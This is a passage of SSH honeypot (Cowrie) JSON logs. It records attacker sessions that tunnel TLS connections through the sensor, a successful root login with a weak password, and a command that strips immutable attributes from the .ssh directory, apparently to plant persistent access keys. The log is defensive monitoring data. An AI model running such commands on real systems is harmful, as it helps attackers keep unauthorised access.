x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xb8Nl\\xce\\xdd\\xdfdY\\x02\\xab\\xb7\\x8f&c\\x85\\x06<\\xf5\\xde%~<$I\\xc9\\xfa/\\x04\\xc5?\\xb3\\x04\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 52.48.247.5:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcae\\xd6\\tj~\\x80v\\xf5@\\x85g$T\\x12V\\xdd\\x1a\\x05\\xd4\\x11#\\xe9d\\x11\\xd7\\x16\\xcat\\x89\\xf8\\xf3 1g\\xf1N\\x8e\\xf11\\r\\xdd\\xfd\\xb2\\xb1\\xb1\\xe0no?e\\xae]\\xfe\\xeec\\x8d\\x03\\xc4\\xfc\\x8amR/\\x0f\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xb8Nl\\xce\\xdd\\xdfdY\\x02\\xab\\xb7\\x8f&c\\x85\\x06<\\xf5\\xde%~<$I\\xc9\\xfa/\\x04\\xc5?\\xb3\\x04\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:15.293323Z","src_ip":"77.90.185.17","session":"072663bdbd1b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.197.161.53","dst_port":443,"src_ip":"77.90.185.17","src_port":60128,"message":"direct-tcp connection request to 23.197.161.53:443 from 127.0.0.1:60128","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:15.738012Z","session":"072663bdbd1b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.197.161.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.197.161.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:16.030737Z","src_ip":"77.90.185.17","session":"072663bdbd1b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.197.161.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdb\\xa8P\\xc5\\x94\\xe9r\\xae\\x10\\xe8\\x8a\\xf4!-\\x88\\xf8\\x88U\\x858\\xf0[E\\x16\\xc32\\xb2\\x1d-\\x0b11 \\x9e\\x97\\xb6\\x03m\\x99\\xe2\\xc0\\xf0v\\xb6\\x07\\xa9\\xe1S\\xc1\\x0c\\x00L\\xf6\\x82\\xb6Y\\x00\\xff\\x95H@U\\x8a\\x13\\xd8\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 p\\xdf\\x1d\\xdc6\\xf2\\x9bu\\xcb\\xe3\\xfb@\\x98*\\xd9\\xb6\\xab\\xb0>\\xf3e,g\\xf5\\xc2Ia\\xd0o\\xaeb1\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.197.161.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdb\\xa8P\\xc5\\x94\\xe9r\\xae\\x10\\xe8\\x8a\\xf4!-\\x88\\xf8\\x88U\\x858\\xf0[E\\x16\\xc32\\xb2\\x1d-\\x0b11 \\x9e\\x97\\xb6\\x03m\\x99\\xe2\\xc0\\xf0v\\xb6\\x07\\xa9\\xe1S\\xc1\\x0c\\x00L\\xf6\\x82\\xb6Y\\x00\\xff\\x95H@U\\x8a\\x13\\xd8\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 p\\xdf\\x1d\\xdc6\\xf2\\x9bu\\xcb\\xe3\\xfb@\\x98*\\xd9\\xb6\\xab\\xb0>\\xf3e,g\\xf5\\xc2Ia\\xd0o\\xaeb1\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:16.033918Z","src_ip":"77.90.185.17","session":"072663bdbd1b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.154.119","dst_port":443,"src_ip":"77.90.185.17","src_port":60406,"message":"direct-tcp connection request to 142.251.154.119:443 from 127.0.0.1:60406","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:16.134346Z","session":"072663bdbd1b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.154.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.154.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:16.273054Z","src_ip":"77.90.185.17","session":"072663bdbd1b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.154.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa6\\xe0$i\\x05N}.\\xa9V\\xfd\\xc5+\\xc3\\x13\\xb9\\x006\\x97H\\xf3\\x92r\\xe1\\xcb\\xda\\xbb\\xc8\\xa0\\xf2\\xe4i $4\\xda\\x9a\\xeb\\xeb \\xb1>.\\x99\\xb5\\xa7m\\xa9\\xd9 \\xa0\\xd9\\x15\\xf5q\\xf3\\x8a\\xf7\\xd0\\xd6\\x8c\\xedQ\\r\\xc8\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe1\\x0c7Si\\xe8\\x96\\xa2y\\xa3\\xf7\\rB\\xe6K\\x98\\x81\\x1dk#\\x02\\xfa\\x93\\xd96\\xda\\xfb\\xcc>\\xbe\\x0cR\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.154.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa6\\xe0$i\\x05N}.\\xa9V\\xfd\\xc5+\\xc3\\x13\\xb9\\x006\\x97H\\xf3\\x92r\\xe1\\xcb\\xda\\xbb\\xc8\\xa0\\xf2\\xe4i $4\\xda\\x9a\\xeb\\xeb \\xb1>.\\x99\\xb5\\xa7m\\xa9\\xd9 \\xa0\\xd9\\x15\\xf5q\\xf3\\x8a\\xf7\\xd0\\xd6\\x8c\\xedQ\\r\\xc8\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe1\\x0c7Si\\xe8\\x96\\xa2y\\xa3\\xf7\\rB\\xe6K\\x98\\x81\\x1dk#\\x02\\xfa\\x93\\xd96\\xda\\xfb\\xcc>\\xbe\\x0cR\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:16.276274Z","src_ip":"77.90.185.17","session":"072663bdbd1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:16.477712Z","src_ip":"150.5.169.138","session":"7b92d6b0c619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:47:16.503317Z","src_ip":"77.90.185.17","session":"072663bdbd1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.219.234.233","src_port":47222,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9827ec5b778","protocol":"ssh","message":"New connection: 118.219.234.233:47222 (10.17.0.5:22) [session: a9827ec5b778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:00.274555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:00.279115Z","src_ip":"118.219.234.233","session":"a9827ec5b778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:00.465047Z","src_ip":"118.219.234.233","session":"a9827ec5b778","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa222222","message":"login attempt [root/Aa222222] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:01.241952Z","src_ip":"118.219.234.233","session":"a9827ec5b778","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:01.643265Z","src_ip":"118.219.234.233","session":"a9827ec5b778","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:01.645930Z","src_ip":"118.219.234.233","session":"a9827ec5b778","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:01.648268Z","src_ip":"118.219.234.233","session":"a9827ec5b778","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:01.836451Z","src_ip":"118.219.234.233","session":"a9827ec5b778","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:02.234714Z","src_ip":"118.219.234.233","session":"a9827ec5b778","protocol":"ssh"}
